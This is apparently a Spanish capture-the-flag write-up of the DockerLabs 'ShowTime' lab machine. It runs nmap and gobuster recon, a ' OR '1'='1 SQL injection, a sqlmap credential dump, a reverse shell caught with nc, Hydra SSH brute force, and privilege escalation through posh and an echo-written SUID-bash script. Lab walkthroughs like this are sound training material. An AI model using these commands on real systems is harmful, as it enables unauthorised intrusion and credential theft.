> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/showtime.md).

# ShowTime

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/mPYNd55f6Ycq4oFBBUpJ" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/2Cagfe4q5BSjzlEwnlQ3" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/xAqZPQfbtxXnzhlH5RAk" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web del Casino.

<figure><img src="/files/CtcTTkuK96HeESUDxQ8o" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt
```

Hacemos una **inyección SQL** básica en el directorio `/login_page`.

```bash
' OR '1'='1
```

<figure><img src="/files/ATpJkXfvDr983APCBgaj" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Zkds3HJUbwMwZ6RF1WnJ" alt=""><figcaption></figcaption></figure>

Realizamos este comando para identificar bases de datos.

```bash
sqlmap -u http://172.17.0.2/login_page/index.php --forms --dbs --batch
```

<figure><img src="/files/Jlae52VWFerDGXwWkZfr" alt=""><figcaption></figcaption></figure>

Ahora para ver las tablas dentro de la base de datos de **users**.

```bash
sqlmap -u http://172.17.0.2/login_page/index.php --forms -D users --tables --batch
```

<figure><img src="/files/LO4PnYPyN07AyTWyjukI" alt=""><figcaption></figcaption></figure>

Ahora vemos las columnas dentro de la tabla de **usuarios**.

```bash
sqlmap -u http://172.17.0.2/login_page/index.php --forms -D users -T usuarios --columns --batch
```

<figure><img src="/files/AT99DqfMoGGDfg1pkye9" alt=""><figcaption></figcaption></figure>

Ahora vemos la información que hay guardada en los registros.

```bash
sqlmap -u http://172.17.0.2/login_page/index.php --forms -D users -T usuarios -C password,id,username --dump --batch
```

<figure><img src="/files/1sXyVZhT6XbvUHUlGtCs" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Con el tercer usuario nos logueamos y nos sale un panel de administración en el que podemos ejecutar un comando en **Python**.

<figure><img src="/files/hBTBVAG10gYno8cgXbEe" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha para recibir la Reverse Shell.

```bash
nc -nlvp 443
```

<figure><img src="/files/3yX0FlrUThFMbL9CB6CI" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos con SUDO.

En el directorio `/tmp` hay una archivo del texto oculto.

<figure><img src="/files/xut1vSulxeTglqNCTbcb" alt=""><figcaption></figcaption></figure>

Creamos un diccionario pasando de mayúsculas a minúsculas para realizar la fuerza bruta.

```bash
tr '[:upper:]' '[:lower:]' < trucos.txt > diccionario.txt
```

Realizamos el ataque de fuerza bruta mediante **Hydra**.

```bash
hydra -l joe -P diccionario.txt ssh://172.17.0.2 -t 64
```

<figure><img src="/files/4ZSewjKrMAvyzj9YbUpP" alt=""><figcaption></figcaption></figure>

Nos logueamos con esas credenciales encontradas.

```bash
ssh joe@172.17.0.2
```

<figure><img src="/files/iG5FmhuooTEHSZOHbsVM" alt=""><figcaption></figcaption></figure>

Tenemos permisos **SUDO** con **posh** por lo que miramos esta [página ](https://gtfobins.github.io/gtfobins/posh/)para ver como escalar privilegios.

```bash
sudo -u luciano /bin/posh
```

<figure><img src="/files/p2rzt1Y66DjIMTRnIsA3" alt=""><figcaption></figcaption></figure>

En el directorio de **luciano** principal encontramos un script que no podemos editar con nano ni con vim por lo que lo hacemos con echo.

<figure><img src="/files/ExEuosUQhvweRXHnvxW5" alt=""><figcaption></figcaption></figure>

```bash
echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > script.sh
```

Ahora ejecutamos el script para ser **root**.

```bash
sudo -u root /bin/bash /home/luciano/script.sh 
```

Ejecutamos.

```bash
bash -p
```

<figure><img src="/files/KhKH6Hj1e8VPfpTnHfdj" alt=""><figcaption></figcaption></figure>
